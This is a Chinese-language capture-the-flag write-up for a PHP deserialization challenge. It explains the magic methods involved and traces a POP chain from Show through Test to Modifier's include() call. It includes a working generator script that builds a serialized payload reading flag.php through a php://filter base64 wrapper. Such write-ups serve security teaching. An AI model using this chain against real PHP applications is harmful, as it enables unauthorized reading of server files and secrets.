BUUctf有现成环境,这里附上题目链接,也可以在BUU直接搜索
涉及PHP魔术方法
__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值 __wakeup() 使用unserialize()时自动触发 __toString() 当一个类被当成字符串使用时触发 __invoke() 当尝试以调用函数的方式调用一个对象时触发 __get() 用于从不可访问的属性(私有或不存在)读取数据
题目分析
//先看下题目给的源码
//要想办法获取到flag.php
class Modifier {
protected $var;
public function append($value){ //定义了方法append,传参value
include($value); //用include可以进行文件包含
}
public function __invoke(){//__invoke 将对象当作函数调用时会自动执行
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ //构造函数 传入一个字符串参数
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){//__toString 将对象当成字符串使用时会自动执行
return $this->str->source;
}
public function __wakeup(){//反序列化时自动执行
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){ //从不可访问属性获取数据时自动执行 包括private protected和不存在的属性
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']); //反序列化GET提交的pop
}
else{
$a=new Show;
highlight_file(__FILE__);
}
大概看了源码,根据要求需要读取到flag.php的内容,分析下现在拥有的条件
获取到flag.php
需要给pop参数构造一串字符串,在反序列化后能够得到flag.php
现在明显能够用来构造的有三个类,类中设置的变量都是能够人为控制的( v a r , var, var,source, s t r , str, str,p)
分析隐含的逻辑(接下来的这段文字请边参照源代码边阅读)
需要读取到flag文件,在上面代码中就只有include能包含文件,也就是要调用append方法,也就是要有一个modifier的实例化对象(假设为对象M)被当作函数调用,这样才能使__invoke方法自动执行;
查看代码,符合条件的就是Test类下的__get方法,能将其中的p变量作为函数执行,那么假设Test类实例化对象为T,则T对象的p属性就得是对象M。当然这里还需要让T对象访问一个不可访问变量(这里没有私有属性,那就需要访问未初始化的属性),现在总共四个可以操作的变量, v a r 要 作 为 文 件 包 含 路 径 , var要作为文件包含路径, var要作为文件包含路径,p已使用,就剩下Show类里的 s o u r c e 和 source和 source和str,那就来仔细看看Show,只有toString方法可以操作。将$str设为T对象,这样在toString方法中就可以用T调用source,但是T中不存在source,就可以自动执行get方法了。那么接下来就需要让toString执行,而toString的执行需要Show的对象被当作字符串使用,这里有两个条件可以被关联在一起
- $source 在show的构造方法中是作为字符串使用的
- 正好$source 还未使用,而file是构造方法的一个参数,会赋值给source
那么我们可以将show的对象传给source,因此需要new一个show对象(show2),传递参数show对象(show1,将传给source作为字符串使用)
解题
构造代码如下
/**
1.M T
2.T->p = M
3.$show1->str = T
4.$show2 = new Show($show1)
**/
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';//这里使用伪协议,可以读取出完整的文件
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$M = new Modifier();
$T = new Test();
$show1 = new Show('a');
$show1->str = $T;
$T->p = $M;
$show2 = new Show($show1);
$pyl = urlencode(serialize($show2));
echo $pyl;
?>
总结关键词
- include 可以包含PHP伪协议
- PHP魔术方法(magic methods)
- POP chain(POP链)